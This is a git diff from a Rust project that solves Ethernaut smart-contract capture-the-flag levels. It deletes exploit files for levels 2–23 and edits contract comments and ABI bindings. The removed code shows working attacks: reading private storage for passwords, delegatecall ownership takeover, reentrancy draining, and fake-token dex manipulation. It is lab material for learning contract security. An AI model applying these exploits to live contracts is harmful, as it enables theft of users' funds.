Hash, - )] - #[ethcall(name = "changeOwner", abi = "changeOwner(address)")] - pub struct ChangeOwnerCall { - pub owner: ::ethers::core::types::Address, - } - ///Container type for all input parameters for the - /// `owner` function with signature `owner()` and - /// selector `0x8da5cb5b` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "owner", abi = "owner()")] - pub struct OwnerCall; - ///Container type for all of the contract's call - #[derive( - Clone, ::ethers::contract::EthAbiType, Debug, PartialEq, Eq, Hash, - )] - pub enum TelephoneCalls { - ChangeOwner(ChangeOwnerCall), - Owner(OwnerCall), - } - impl ::ethers::core::abi::AbiDecode for TelephoneCalls { - fn decode( - data: impl AsRef<[u8]>, - ) -> ::core::result::Result - { - let data = data.as_ref(); - if let Ok(decoded) = - ::decode( - data, - ) - { - return Ok(Self::ChangeOwner(decoded)); - } - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Owner(decoded)); - } - Err(::ethers::core::abi::Error::InvalidData.into()) - } - } - impl ::ethers::core::abi::AbiEncode for TelephoneCalls { - fn encode(self) -> Vec { - match self { - Self::ChangeOwner(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::Owner(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - } - } - } - impl ::core::fmt::Display for TelephoneCalls { - fn fmt( - &self, - f: &mut ::core::fmt::Formatter<'_>, - ) -> ::core::fmt::Result { - match self { - Self::ChangeOwner(element) => { - ::core::fmt::Display::fmt(element, f) - } - Self::Owner(element) => ::core::fmt::Display::fmt(element, f), - } - } - } - impl ::core::convert::From for TelephoneCalls { - fn from(value: ChangeOwnerCall) -> Self { Self::ChangeOwner(value) } - } - impl ::core::convert::From for TelephoneCalls { - fn from(value: OwnerCall) -> Self { Self::Owner(value) } - } - ///Container type for all return fields from the - /// `owner` function with signature `owner()` and - /// selector `0x8da5cb5b` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct OwnerReturn(pub ::ethers::core::types::Address); -} diff --git a/attack/src/ethernaut/hack02_fallout.rs b/attack/src/ethernaut/hack02_fallout.rs deleted file mode 100644 index 966869c..0000000 --- a/attack/src/ethernaut/hack02_fallout.rs +++ /dev/null @@ -1,23 +0,0 @@ -use async_trait::async_trait; -use ctf::ethernaut::lvl02_fallout::*; - -pub(crate) struct Exploit; - -#[async_trait] -impl ctf::Exploit for Exploit { - type Target = Target; - - /** - * @title Ethernaut Level 2: Fallout - * - * Claim ownership of the contract below to complete - * this level. - */ - async fn attack( - self, - target: &Self::Target, - offender: &ctf::Actor, - ) -> eyre::Result<()> { - todo!("Solve me!") - } -} diff --git a/attack/src/ethernaut/hack03_coin_flip.rs b/attack/src/ethernaut/hack03_coin_flip.rs deleted file mode 100644 index e64f19c..0000000 --- a/attack/src/ethernaut/hack03_coin_flip.rs +++ /dev/null @@ -1,41 +0,0 @@ -use crate::abi::hack_coin_flip::HackCoinFlip; -use async_trait::async_trait; -use ctf::ethernaut::lvl03_coin_flip::*; - -pub(crate) struct Exploit; - -#[async_trait] -impl ctf::Exploit for Exploit { - type Target = Target; - - /** - * @title Ethernaut Level 3: CoinFlip - * - * This is a coin flipping game where you need to - * build up your winning streak by guessing the - * outcome of a coin flip. To complete this target - * you'll need to use your psychic abilities to - * guess the correct outcome 10 times in a row. - */ - async fn attack( - self, - target: &Self::Target, - offender: &ctf::Actor, - ) -> eyre::Result<()> { - let coin_contract = - HackCoinFlip::deploy(offender.to_owned(), target.address)? - .send() - .await?; - coin_contract.guess().send().await?; - coin_contract.guess().send().await?; - coin_contract.guess().send().await?; - coin_contract.guess().send().await?; - coin_contract.guess().send().await?; - coin_contract.guess().send().await?; - coin_contract.guess().send().await?; - coin_contract.guess().send().await?; - coin_contract.guess().send().await?; - coin_contract.guess().send().await?; - Ok(()) - } -} diff --git a/attack/src/ethernaut/hack04_telephone.rs b/attack/src/ethernaut/hack04_telephone.rs deleted file mode 100644 index 95705b7..0000000 --- a/attack/src/ethernaut/hack04_telephone.rs +++ /dev/null @@ -1,32 +0,0 @@ -use async_trait::async_trait; -use ctf::ethernaut::lvl04_telephone::*; - -pub(crate) struct Exploit; - -#[async_trait] -impl ctf::Exploit for Exploit { - type Target = Target; - - /** - * @title Ethernaut Level 4: Telephone - * - * The goal of this level is for you to claim - * ownership of the instance you are given. - * - * Things that might help - * - Look into Solidity's documentation on the - * delegatecall low level function, how it works, - * how it can be used to delegate operations to - * on-chain libraries, and what implications it - * has on execution scope. - * - Fallback methods - * - Method ids - */ - async fn attack( - self, - target: &Self::Target, - offender: &ctf::Actor, - ) -> eyre::Result<()> { - todo!("Solve me!") - } -} diff --git a/attack/src/ethernaut/hack05_token.rs b/attack/src/ethernaut/hack05_token.rs deleted file mode 100644 index 2808222..0000000 --- a/attack/src/ethernaut/hack05_token.rs +++ /dev/null @@ -1,35 +0,0 @@ -use async_trait::async_trait; -use ctf::ethernaut::lvl05_token::*; -use ethers::prelude::*; - -pub(crate) struct Exploit; - -#[async_trait] -impl ctf::Exploit for Exploit { - type Target = Target; - - /** - * @title Ethernaut Level 5: Token - * - * The goal of this level is for you to hack the - * basic token contract below. - * - * You are given 20 tokens to start with and you - * will beat the level if you somehow manage to - * get your hands on any additional tokens. - * Preferably a very large amount of tokens. - * - * Things that might help: - * - What is an odometer? - */ - async fn attack( - self, - target: &Self::Target, - offender: &ctf::Actor, - ) -> eyre::Result<()> { - let contract = Token::new(target.address, offender.clone()); - let big_money: U256 = ethers::types::U256::from(20000000); - contract.transfer(target.address, big_money).send().await?; - Ok(()) - } -} diff --git a/attack/src/ethernaut/hack06_delegate.rs b/attack/src/ethernaut/hack06_delegate.rs deleted file mode 100644 index 746a2b3..0000000 --- a/attack/src/ethernaut/hack06_delegate.rs +++ /dev/null @@ -1,51 +0,0 @@ -use async_trait::async_trait; -use ctf::ethernaut::lvl06_delegate::*; -use ethers::{prelude::*, providers::Middleware, utils::keccak256}; - -pub(crate) struct Exploit; - -#[async_trait] -impl ctf::Exploit for Exploit { - type Target = Target; - - /** - * @title Ethernaut Level 6: Delegation - * - * The goal of this level is for you to claim - * ownership of the instance you are given. - * - * Things that might help - * - Look into Solidity's documentation on the - * delegatecall low level function, how it works, - * how it can be used to delegate operations to - * on-chain libraries, and what implications it - * has on execution scope. - * - Fallback methods - * - Method ids - */ - async fn attack( - self, - target: &Self::Target, - offender: &ctf::Actor, - ) -> eyre::Result<()> { - let contract = - Delegation::new(target.delegation_address, offender.clone()); - - let hash_result: Vec = keccak256("pwn()").into(); - let first_four_elements: Vec = - hash_result.iter().take(4).cloned().collect(); - - offender - .send_transaction( - TransactionRequest::new() - .to(contract.address()) - .data(first_four_elements) - .gas(9999999), - None, - ) - .await? - .await?; - - Ok(()) - } -} diff --git a/attack/src/ethernaut/hack07_force.rs b/attack/src/ethernaut/hack07_force.rs deleted file mode 100644 index 37b50ef..0000000 --- a/attack/src/ethernaut/hack07_force.rs +++ /dev/null @@ -1,40 +0,0 @@ -use crate::abi::money_giver::MoneyGiver; -use async_trait::async_trait; -use ctf::ethernaut::lvl07_force::*; -use ethers::prelude::*; - -pub(crate) struct Exploit; - -#[async_trait] -impl ctf::Exploit for Exploit { - type Target = Target; - - /** - * @title Ethernaut Level 7: Force - * - * Some contracts will simply not take your money - * ¯\_(ツ)_/¯ - * - * The goal of this level is to make the balance of - * the contract greater than zero. - * - * Things that might help: - * - Fallback methods - * - Sometimes the best way to attack a contract is - * with another contract. - */ - async fn attack( - self, - target: &Self::Target, - offender: &ctf::Actor, - ) -> eyre::Result<()> { - let contract = MoneyGiver::deploy(offender.to_owned(), target.address)? - .send() - .await?; - contract.deposit().value(1).send().await?; - /* let balance = offender.get_balance(contract.address(), - * None).await?; */ - contract.boom().send().await?; - Ok(()) - } -} diff --git a/attack/src/ethernaut/hack08_vault.rs b/attack/src/ethernaut/hack08_vault.rs deleted file mode 100644 index af3f4f1..0000000 --- a/attack/src/ethernaut/hack08_vault.rs +++ /dev/null @@ -1,34 +0,0 @@ -use async_trait::async_trait; -use ctf::ethernaut::lvl08_vault::*; -use ethers::{prelude::*, providers::Middleware}; - -pub(crate) struct Exploit; - -#[async_trait] -impl ctf::Exploit for Exploit { - type Target = Target; - - /** - * @title Ethernaut Level 8: Vault - * - * Unlock the vault to pass the level! - */ - async fn attack( - self, - target: &Self::Target, - offender: &ctf::Actor, - ) -> eyre::Result<()> { - let contract = Vault::new(target.address, offender.clone()); - let mut array: [u8; 32] = [0; 32]; - array[31] = 1; - let wheres = TxHash::from(array); - println!("wheres: {}", wheres); - println!("array: {:?}", array); - let password = - offender.get_storage_at(contract.address(), wheres, None).await?; - println!("password: {}", password); - println!("ass: {:?}", *password.as_fixed_bytes()); - contract.unlock(*password.as_fixed_bytes()).send().await?; - Ok(()) - } -} diff --git a/attack/src/ethernaut/hack09_king.rs b/attack/src/ethernaut/hack09_king.rs deleted file mode 100644 index 5a59de9..0000000 --- a/attack/src/ethernaut/hack09_king.rs +++ /dev/null @@ -1,52 +0,0 @@ -use crate::abi::king_hack::KingHack; -use async_trait::async_trait; -use ctf::ethernaut::lvl09_king::*; -use ethers::prelude::*; - -pub(crate) struct Exploit; - -#[async_trait] -impl ctf::Exploit for Exploit { - type Target = Target; - - /** - * @title Ethernaut Level 9: King - * - * The contract below represents a very simple game: - * whoever sends it an amount of ether that is - * larger than the current prize becomes the new - * king. On such an event, the overthrown king - * gets paid the new prize, making a bit of ether - * in the process! As ponzi as it gets xD - * - * Such a fun game. Your goal is to break it. - * - * When you submit the instance back to the level, - * the level is going to reclaim kingship. You - * will beat the level if you can avoid such a self - * proclamation. - */ - async fn attack( - self, - target: &Self::Target, - offender: &ctf::Actor, - ) -> eyre::Result<()> { - let contract = King::new(target.address, offender.clone()); - let hack_contract = - KingHack::deploy(offender.to_owned(), target.address)? - .send() - .await?; - hack_contract - .give_money() - .value(100000000000000000000_i128) - .send() - .await?; - hack_contract - .to_be_the_king(contract.address()) - .value(100000000000000000000_i128) - .gas(400000) - .send() - .await?; - Ok(()) - } -} diff --git a/attack/src/ethernaut/hack10_reentrancy.rs b/attack/src/ethernaut/hack10_reentrancy.rs deleted file mode 100644 index 3c9f350..0000000 --- a/attack/src/ethernaut/hack10_reentrancy.rs +++ /dev/null @@ -1,45 +0,0 @@ -use crate::abi::repeat_please::RepeatPlease; -use async_trait::async_trait; -use ctf::ethernaut::lvl10_reentrancy::*; -use ethers::prelude::*; - -pub(crate) struct Exploit; - -#[async_trait] -impl ctf::Exploit for Exploit { - type Target = Target; - - /** - * @title Ethernaut Level 10: Re-entrancy - * - * The goal of this level is for you to steal all - * the funds from the contract. - * - * Things that might help: - * - Untrusted contracts can execute code where you - * least expect it. - * - Fallback methods - * - Throw/revert bubbling - * - Sometimes the best way to attack a contract is - * with another contract. - */ - async fn attack( - self, - target: &Self::Target, - offender: &ctf::Actor, - ) -> eyre::Result<()> { - let hack_contract = - RepeatPlease::deploy(offender.to_owned(), target.address)? - .send() - .await?; - println!("Balance: {:?}", hack_contract.balance().await?); - hack_contract - .give_money() - .value(9003000000000000001_i128) - .send() - .await?; - hack_contract.donate().send().await?; - - Ok(()) - } -} diff --git a/attack/src/ethernaut/hack11_elevator.rs b/attack/src/ethernaut/hack11_elevator.rs deleted file mode 100644 index 9f98d82..0000000 --- a/attack/src/ethernaut/hack11_elevator.rs +++ /dev/null @@ -1,24 +0,0 @@ -use crate::abi::building_contract::BuildingContract; -use async_trait::async_trait; -use ctf::ethernaut::lvl11_elevator::*; -use ethers::prelude::*; - -pub(crate) struct Exploit; - -#[async_trait] -impl ctf::Exploit for Exploit { - type Target = Target; - - async fn attack( - self, - target: &Self::Target, - offender: &ctf::Actor, - ) -> eyre::Result<()> { - let hack_contract = - BuildingContract::deploy(offender.to_owned(), target.address)? - .send() - .await?; - hack_contract.gogo().send().await?; - Ok(()) - } -} diff --git a/attack/src/ethernaut/hack12_privacy.rs b/attack/src/ethernaut/hack12_privacy.rs deleted file mode 100644 index 393a02a..0000000 --- a/attack/src/ethernaut/hack12_privacy.rs +++ /dev/null @@ -1,46 +0,0 @@ -use async_trait::async_trait; -use ctf::ethernaut::lvl12_privacy::*; -use ethers::prelude::*; - -pub(crate) struct Exploit; - -#[async_trait] -impl ctf::Exploit for Exploit { - type Target = Target; - - async fn attack( - self, - target: &Self::Target, - offender: &ctf::Actor, - ) -> eyre::Result<()> { - let contract = Privacy::new(target.address, offender.clone()); - - // number 5 as 32 bytes - let mut array: [u8; 32] = [0; 32]; - array[31] = 5; - - //convert 5 to H256 - let hash = H256::from(array); - - //take data from slot 5 - let password = - offender.get_storage_at(contract.address(), hash, None).await?; - - println!("hash: {}", hash); - println!("array: {:?}", array); - println!("password: {}", password); - - //convert data to 32 bytes - let password_bytes_32 = *password.as_fixed_bytes(); - let mut password_bytes_16: [u8; 16] = [0; 16]; - - //conver data to 16 bytes - for i in 0..16 { - password_bytes_16[i] = password_bytes_32[i]; //bytes 32 обрезаются слева направо, потому что читаются не как обычные числа, а как массив, который логично обрезать с 0 до 15 элемента, а не с 16 по 31 - } - - //unlock contract - contract.unlock(password_bytes_16).send().await?; - Ok(()) - } -} diff --git a/attack/src/ethernaut/hack13_gatekeeper_one.rs b/attack/src/ethernaut/hack13_gatekeeper_one.rs deleted file mode 100644 index aa41a74..0000000 --- a/attack/src/ethernaut/hack13_gatekeeper_one.rs +++ /dev/null @@ -1,30 +0,0 @@ -use crate::abi::let_me_in::LetMeIn; -use async_trait::async_trait; -use ctf::ethernaut::lvl13_gatekeeper_one::*; -use ethers::prelude::*; - -pub(crate) struct Exploit; - -#[async_trait] -impl ctf::Exploit for Exploit { - type Target = Target; - - async fn attack( - self, - target: &Self::Target, - offender: &ctf::Actor, - ) -> eyre::Result<()> { - let hack_contract = - LetMeIn::deploy(offender.to_owned(), target.address)? - .send() - .await?; - //вызываем нашу функцию хака и закидываю мильоны газа, - // чтобы точно хватило - hack_contract - .go_inside(offender.address()) - .gas(9000000_i128) - .send() - .await?; - Ok(()) - } -} diff --git a/attack/src/ethernaut/hack14_gatekeeper_two.rs b/attack/src/ethernaut/hack14_gatekeeper_two.rs deleted file mode 100644 index f5b42d1..0000000 --- a/attack/src/ethernaut/hack14_gatekeeper_two.rs +++ /dev/null @@ -1,23 +0,0 @@ -use crate::abi::let_me_in_again::LetMeInAgain; -use async_trait::async_trait; -use ctf::ethernaut::lvl14_gatekeeper_two::*; -use ethers::prelude::*; - -pub(crate) struct Exploit; - -#[async_trait] -impl ctf::Exploit for Exploit { - type Target = Target; - - async fn attack( - self, - target: &Self::Target, - offender: &ctf::Actor, - ) -> eyre::Result<()> { - let hack_contract = - LetMeInAgain::deploy(offender.to_owned(), target.address)? - .send() - .await?; - Ok(()) - } -} diff --git a/attack/src/ethernaut/hack15_naught_coin.rs b/attack/src/ethernaut/hack15_naught_coin.rs deleted file mode 100644 index cdc7d16..0000000 --- a/attack/src/ethernaut/hack15_naught_coin.rs +++ /dev/null @@ -1,37 +0,0 @@ -use crate::abi::offshore::Offshore; -use async_trait::async_trait; -use ctf::ethernaut::lvl15_naught_coin::*; -use ethers::prelude::*; - -pub(crate) struct Exploit; - -#[async_trait] -impl ctf::Exploit for Exploit { - type Target = Target; - - async fn attack( - self, - target: &Self::Target, - offender: &ctf::Actor, - ) -> eyre::Result<()> { - let contract = NaughtCoin::new(target.address, offender.clone()); - let hack_contract = - Offshore::deploy(offender.to_owned(), ())? - .send() - .await?; - let all_money = contract.balance_of(offender.address()).await?; - contract.approve(offender.address(), all_money).send().await?; - contract - .transfer_from( - offender.address(), - hack_contract.address(), - all_money, - ) - .send() - .await?; - //println!("Balance: {:?}", - // hack_contract.balance().await?); - - Ok(()) - } -} diff --git a/attack/src/ethernaut/hack16_preservation.rs b/attack/src/ethernaut/hack16_preservation.rs deleted file mode 100644 index e027880..0000000 --- a/attack/src/ethernaut/hack16_preservation.rs +++ /dev/null @@ -1,30 +0,0 @@ -use crate::abi::i_am_true_library_contract_please_believe_me::IAmTrueLibraryContractPleaseBelieveMe; -use async_trait::async_trait; -use ctf::ethernaut::lvl16_preservation::*; -use ethers::prelude::*; - -pub(crate) struct Exploit; - -#[async_trait] -impl ctf::Exploit for Exploit { - type Target = Target; - - async fn attack( - self, - target: &Self::Target, - offender: &ctf::Actor, - ) -> eyre::Result<()> { - let contract = Preservation::new(target.address, offender.clone()); - let hack_contract = IAmTrueLibraryContractPleaseBelieveMe::deploy( - offender.to_owned(), - (), - )? - .send() - .await?; - hack_contract - .boom(contract.address(), offender.address()) - .send() - .await?; - Ok(()) - } -} diff --git a/attack/src/ethernaut/hack17_recovery.rs b/attack/src/ethernaut/hack17_recovery.rs deleted file mode 100644 index ff7a62d..0000000 --- a/attack/src/ethernaut/hack17_recovery.rs +++ /dev/null @@ -1,26 +0,0 @@ -use crate::abi::find_token::FindToken; -use async_trait::async_trait; -use ctf::ethernaut::lvl17_recovery::*; -use ethers::prelude::*; - -pub(crate) struct Exploit; - -#[async_trait] -impl ctf::Exploit for Exploit { - type Target = Target; - - async fn attack( - self, - target: &Self::Target, - offender: &ctf::Actor, - ) -> eyre::Result<()> { - let contract = Recovery::new(target.address, offender.clone()); - let hack_contract = - FindToken::deploy(offender.to_owned(), ())?.send().await?; - hack_contract - .boom(contract.address(), offender.address()) - .send() - .await?; - Ok(()) - } -} diff --git a/attack/src/ethernaut/hack18_magic_number.rs b/attack/src/ethernaut/hack18_magic_number.rs deleted file mode 100644 index 32bc31e..0000000 --- a/attack/src/ethernaut/hack18_magic_number.rs +++ /dev/null @@ -1,22 +0,0 @@ -use crate::abi::n::N; -use async_trait::async_trait; -use ctf::ethernaut::lvl18_magic_number::*; -use ethers::prelude::*; - -pub(crate) struct Exploit; - -#[async_trait] -impl ctf::Exploit for Exploit { - type Target = Target; - - async fn attack( - self, - target: &Self::Target, - offender: &ctf::Actor, - ) -> eyre::Result<()> { - let contract = MagicNum::new(target.address, offender.clone()); - let hack_contract = N::deploy(offender.to_owned(), ())?.send().await?; - contract.set_solver(hack_contract.address()).send().await?; - Ok(()) - } -} diff --git a/attack/src/ethernaut/hack19_alien_codex.rs b/attack/src/ethernaut/hack19_alien_codex.rs deleted file mode 100644 index 21c9731..0000000 --- a/attack/src/ethernaut/hack19_alien_codex.rs +++ /dev/null @@ -1,25 +0,0 @@ -use crate::abi::human_is_stronger::HumanIsStronger; -use async_trait::async_trait; -use ctf::ethernaut::lvl19_alien_codex::*; -use ethers::{prelude::*, providers::Middleware, utils::keccak256}; - -pub(crate) struct Exploit; - -#[async_trait] -impl ctf::Exploit for Exploit { - type Target = Target; - - async fn attack( - self, - target: &Self::Target, - offender: &ctf::Actor, - ) -> eyre::Result<()> { - let contract = AlienCodex::new(target.address, offender.clone()); - let hack_contract = - HumanIsStronger::deploy(offender.to_owned(), target.address)? - .send() - .await?; - hack_contract.boom(offender.address()).send().await?; - Ok(()) - } -} diff --git a/attack/src/ethernaut/hack20_denial.rs b/attack/src/ethernaut/hack20_denial.rs deleted file mode 100644 index 08e9211..0000000 --- a/attack/src/ethernaut/hack20_denial.rs +++ /dev/null @@ -1,27 +0,0 @@ -use crate::abi::infinite_calculation::InfiniteCalculation; -use async_trait::async_trait; -use ctf::ethernaut::lvl20_denial::*; -use ethers::prelude::*; - -pub(crate) struct Exploit; - -#[async_trait] -impl ctf::Exploit for Exploit { - type Target = Target; - - async fn attack( - self, - target: &Self::Target, - offender: &ctf::Actor, - ) -> eyre::Result<()> { - let contract = Denial::new(target.address, offender.clone()); - let hack_contract = - InfiniteCalculation::deploy(offender.to_owned(), target.address)? - .send() - .await?; - println!("Do: {:?}", contract.contract_balance().call().await); - hack_contract.boom().send().await?; - println!("Posle: {:?}", contract.contract_balance().call().await); - Ok(()) - } -} diff --git a/attack/src/ethernaut/hack21_shop.rs b/attack/src/ethernaut/hack21_shop.rs deleted file mode 100644 index 9397273..0000000 --- a/attack/src/ethernaut/hack21_shop.rs +++ /dev/null @@ -1,23 +0,0 @@ -use crate::abi::cheaper::Cheaper; -use async_trait::async_trait; -use ctf::ethernaut::lvl21_shop::*; - -pub(crate) struct Exploit; - -#[async_trait] -impl ctf::Exploit for Exploit { - type Target = Target; - - async fn attack( - self, - target: &Self::Target, - offender: &ctf::Actor, - ) -> eyre::Result<()> { - let hack_contract = - Cheaper::deploy(offender.to_owned(), target.address)? - .send() - .await?; - hack_contract.boom().send().await?; - Ok(()) - } -} diff --git a/attack/src/ethernaut/hack22_dex.rs b/attack/src/ethernaut/hack22_dex.rs deleted file mode 100644 index b895980..0000000 --- a/attack/src/ethernaut/hack22_dex.rs +++ /dev/null @@ -1,61 +0,0 @@ -use async_trait::async_trait; -use ctf::ethernaut::lvl22_dex::*; -use ethers::types::U256; - -pub(crate) struct Exploit; - -#[async_trait] -impl ctf::Exploit for Exploit { - type Target = Target; - - async fn attack( - self, - target: &Self::Target, - offender: &ctf::Actor, - ) -> eyre::Result<()> { - let contract = Dex::new(target.address, offender.clone()); - let token1 = - SwappableToken::new(contract.token_1().await?, offender.clone()); - let token2 = - SwappableToken::new(contract.token_2().await?, offender.clone()); - - println!("token1: {:?}", token1.balance_of(offender.address()).await?); - println!("token2: {:?}", token2.balance_of(offender.address()).await?); - - contract - .approve(contract.address(), U256::from(1000)) - .send() - .await? - .await?; - - contract - .swap(token2.address(), token1.address(), U256::from(10)) - .send() - .await?; - contract - .swap(token1.address(), token2.address(), U256::from(20)) - .send() - .await?; - contract - .swap(token2.address(), token1.address(), U256::from(24)) - .send() - .await?; - contract - .swap(token1.address(), token2.address(), U256::from(30)) - .send() - .await?; - contract - .swap(token2.address(), token1.address(), U256::from(41)) - .send() - .await?; - contract - .swap(token1.address(), token2.address(), U256::from(65)) - .send() - .await?; - contract - .swap(token2.address(), token1.address(), U256::from(45)) - .send() - .await?; - Ok(()) - } -} diff --git a/attack/src/ethernaut/hack23_dex_two.rs b/attack/src/ethernaut/hack23_dex_two.rs deleted file mode 100644 index ea93266..0000000 --- a/attack/src/ethernaut/hack23_dex_two.rs +++ /dev/null @@ -1,87 +0,0 @@ -use async_trait::async_trait; -use ctf::ethernaut::lvl23_dex_two::*; -use ethers::types::U256; - -pub(crate) struct Exploit; - -#[async_trait] -impl ctf::Exploit for Exploit { - type Target = Target; - - async fn attack( - self, - target: &Self::Target, - offender: &ctf::Actor, - ) -> eyre::Result<()> { - let contract = DexTwo::new(target.address, offender.clone()); - let token1 = - SwappableTokenTwo::new(contract.token_1().await?, offender.clone()); - let token2 = - SwappableTokenTwo::new(contract.token_2().await?, offender.clone()); - - println!("token1: {:?}", token1.balance_of(offender.address()).await?); - println!("token2: {:?}", token2.balance_of(offender.address()).await?); - - let fake1 = SwappableTokenTwo::deploy( - offender.to_owned(), - ( - contract.address(), - String::from("Fake 1"), - String::from("FCK1"), - U256::from(100), - ), - )? - .send() - .await?; - - let fake2 = SwappableTokenTwo::deploy( - offender.to_owned(), - ( - contract.address(), - String::from("Fake 2"), - String::from("FCK2"), - U256::from(100), - ), - )? - .send() - .await?; - - contract - .approve(contract.address(), U256::from(1000)) - .send() - .await? - .await?; - - fake1 - .approve_with_owner_and_spender( - offender.address(), - contract.address(), - U256::from(1000), - ) - .send() - .await?; - fake2 - .approve_with_owner_and_spender( - offender.address(), - contract.address(), - U256::from(1000), - ) - .send() - .await?; - fake1.transfer(contract.address(), U256::from(1)).send().await?.await?; - fake2.transfer(contract.address(), U256::from(1)).send().await?.await?; - - println!("fake1: {:?}", fake1.balance_of(offender.address()).await?); - println!("fake2: {:?}", fake2.balance_of(offender.address()).await?); - - contract - .swap(fake1.address(), token1.address(), U256::from(1)) - .send() - .await?; - contract - .swap(fake2.address(), token2.address(), U256::from(1)) - .send() - .await?; - Ok(()) - } -} diff --git a/ctf/contracts/ethernaut/lvl14/GatekeeperTwo.sol b/ctf/contracts/ethernaut/lvl14/GatekeeperTwo.sol index 5ae1191..3a9dfc1 100644 --- a/ctf/contracts/ethernaut/lvl14/GatekeeperTwo.sol +++ b/ctf/contracts/ethernaut/lvl14/GatekeeperTwo.sol @@ -14,6 +14,7 @@ See here for more information. The extcodesize call in this gate will get the si and is used here to apply another common bitwise operation (see here). The Coin Flip level is also a good place to start when approaching this challenge. */ + contract GatekeeperTwo { address public entrant; diff --git a/ctf/contracts/ethernaut/lvl15/NaughtCoin.sol b/ctf/contracts/ethernaut/lvl15/NaughtCoin.sol index d50f7d1..7f373c1 100644 --- a/ctf/contracts/ethernaut/lvl15/NaughtCoin.sol +++ b/ctf/contracts/ethernaut/lvl15/NaughtCoin.sol @@ -12,6 +12,7 @@ Things that might help > The ERC20 Spec > The OpenZeppelin codebase */ + import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; contract NaughtCoin is ERC20 { diff --git a/ctf/contracts/ethernaut/lvl16/Preservation.sol b/ctf/contracts/ethernaut/lvl16/Preservation.sol index 6a16110..1ec37be 100644 --- a/ctf/contracts/ethernaut/lvl16/Preservation.sol +++ b/ctf/contracts/ethernaut/lvl16/Preservation.sol @@ -16,6 +16,7 @@ libraries, and what implications it has on execution scope. > Understanding how storage variables are stored and accessed. > Understanding how casting works between different data types. */ + contract Preservation { // public library contracts address public timeZone1Library; diff --git a/ctf/contracts/ethernaut/lvl21/Shop.sol b/ctf/contracts/ethernaut/lvl21/Shop.sol index 863d90c..8d87355 100644 --- a/ctf/contracts/ethernaut/lvl21/Shop.sol +++ b/ctf/contracts/ethernaut/lvl21/Shop.sol @@ -7,6 +7,7 @@ Things that might help: > Shop expects to be used from a Buyer > Understanding restrictions of view functions */ + interface Buyer { function price() external view returns (uint256); } diff --git a/ctf/contracts/ethernaut/lvl25/Motorbike.sol b/ctf/contracts/ethernaut/lvl25/Motorbike.sol index 14cd774..52f17be 100644 --- a/ctf/contracts/ethernaut/lvl25/Motorbike.sol +++ b/ctf/contracts/ethernaut/lvl25/Motorbike.sol @@ -13,7 +13,6 @@ Things that might help: > Initializable contract */ - import "openzeppelin-contracts-06/utils/Address.sol"; import "openzeppelin-contracts-06/proxy/Initializable.sol"; diff --git a/ctf/src/abi/alien_codex.rs b/ctf/src/abi/alien_codex.rs index a795a19..9871d59 100644 --- a/ctf/src/abi/alien_codex.rs +++ b/ctf/src/abi/alien_codex.rs @@ -252,12 +252,12 @@ pub mod alien_codex { ::ethers::core::abi::Abi, > = ::ethers::contract::Lazy::new(__abi); #[rustfmt::skip] - const __BYTECODE: &[u8] = b"`\x80`@R`\0\x80T`\x01`\x01`\xA0\x1B\x03\x19\x163\x17\x90Ua\x04\xE1\x80a\0%`\09`\0\xF3\xFE`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0\x9EW`\x005`\xE0\x1C\x80c\x8D\xA5\xCB[\x11a\0fW\x80c\x8D\xA5\xCB[\x14a\0\xFCW\x80c\x8F2\xD5\x9B\x14a\x01 W\x80c\x94\xBDui\x14a\x01(W\x80c\xB5\xC6E\xBD\x14a\x01WW\x80c\xF2\xFD\xE3\x8B\x14a\x01tWa\0\x9EV[\x80c\x039\xF3\0\x14a\0\xA3W\x80c2\x8BR\xCB\x14a\0\xC8W\x80c3\xA8\xC4Z\x14a\0\xD0W\x80cG\xF5{2\x14a\0\xECW\x80cqP\x18\xA6\x14a\0\xF4W[`\0\x80\xFD[a\0\xC6`\x04\x806\x03`@\x81\x10\x15a\0\xB9W`\0\x80\xFD[P\x805\x90` \x015a\x01\x9AV[\0[a\0\xC6a\x01\xCBV[a\0\xD8a\x01\xE0V[`@\x80Q\x91\x15\x15\x82RQ\x90\x81\x90\x03` \x01\x90\xF3[a\0\xC6a\x01\xF0V[a\0\xC6a\x02\x19V[a\x01\x04a\x02\xBCV[`@\x80Q`\x01`\x01`\xA0\x1B\x03\x90\x92\x16\x82RQ\x90\x81\x90\x03` \x01\x90\xF3[a\0\xD8a\x02\xCCV[a\x01E`\x04\x806\x03` \x81\x10\x15a\x01>W`\0\x80\xFD[P5a\x02\xDDV[`@\x80Q\x91\x82RQ\x90\x81\x90\x03` \x01\x90\xF3[a\0\xC6`\x04\x806\x03` \x81\x10\x15a\x01mW`\0\x80\xFD[P5a\x02\xFBV[a\0\xC6`\x04\x806\x03` \x81\x10\x15a\x01\x8AW`\0\x80\xFD[P5`\x01`\x01`\xA0\x1B\x03\x16a\x03BV[`\0T`\x01`\xA0\x1B\x90\x04`\xFF\x16a\x01\xADW\xFE[\x80`\x01\x83\x81T\x81\x10a\x01\xBBW\xFE[`\0\x91\x82R` \x90\x91 \x01UPPV[`\0\x80T`\xFF`\xA0\x1B\x19\x16`\x01`\xA0\x1B\x17\x90UV[`\0T`\x01`\xA0\x1B\x90\x04`\xFF\x16\x81V[`\0T`\x01`\xA0\x1B\x90\x04`\xFF\x16a\x02\x03W\xFE[`\x01\x80T\x90a\x02\x16\x90`\0\x19\x83\x01a\x04?V[PV[a\x02!a\x02\xCCV[a\x02rW`@\x80QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01\x81\x90R`$\x82\x01R\x7FOwnable: caller is not the 